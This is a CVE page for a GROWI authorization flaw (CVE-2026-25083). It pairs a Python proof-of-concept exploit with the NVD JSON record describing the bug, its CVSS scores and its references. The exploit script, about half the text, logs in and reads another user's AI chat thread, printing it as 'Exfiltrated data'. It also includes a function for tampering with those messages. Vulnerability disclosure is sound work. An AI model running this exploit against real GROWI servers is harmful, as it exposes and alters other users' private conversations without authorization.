CVE-2026-25083

import requests import json # CVE-2026-25083 PoC - GROWI OpenAI API Unauthorized Access # Target: GROWI <= v7.4.5 BASE_URL = "http://target-growi-server.com" # Step 1: Authenticate and obtain session cookie def login(username, password): session = requests.Session() login_url = f"{BASE_URL}/_api/v3/auth/login" data = {"name": username, "password": password} resp = session.post(login_url, json=data) return session if resp.status_code == 200 else None # Step 2: Enumerate or obtain target thread ID (via social engineering or info leak) def get_target_thread_id(): # Target thread ID obtained through reconnaissance return "TARGET_THREAD_ID_HERE" # Step 3: Unauthorized access to other user's thread def access_other_user_thread(session, thread_id): headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # API endpoint to retrieve thread messages without proper authorization url = f"{BASE_URL}/_api/v2/ai/threads/{thread_id}/messages" resp = session.get(url, headers=headers) if resp.status_code == 200: print(f"[SUCCESS] Unauthorized access to thread {thread_id}") return resp.json() else: print(f"[FAILED] Status: {resp.status_code}") return None # Step 4: Tamper with messages (if writable) def tamper_message(session, thread_id, message_id, new_content): url = f"{BASE_URL}/_api/v2/ai/threads/{thread_id}/messages/{message_id}" data = {"content": new_content} resp = session.put(url, json=data) return resp.status_code == 200 if __name__ == "__main__": # Replace with valid credentials session = login("[email protected]", "password123") if session: thread_id = get_target_thread_id() # Access victim's thread without authorization messages = access_other_user_thread(session, thread_id) if messages: print("Exfiltrated data:", json.dumps(messages, indent=2))

{"cve": {"id": "CVE-2026-25083", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:18.177", "lastModified": "2026-05-19T15:26:21.840", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "GROWI OpenAI thread/message API endpoints do not perform authorization. Affected are v7.4.5 and earlier versions. A logged-in user who knows a shared AI assistant's identifier may view and/or tamper the other user's threads/messages."}, {"lang": "es", "value": "Los puntos finales de la API de hilos/mensajes de GROWI OpenAI no realizan autorización. Las versiones afectadas son la v7.4.5 y anteriores. Un usuario autenticado que conoce el identificador de un asistente de IA compartido puede ver y/o manipular los hilos/mensajes de otro usuario."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://growi.co.jp/news/41/", "source": "[email protected]"}, {"url": "https://jvn.jp/en/jp/JVN46373837/", "source": "[email protected]"}]}}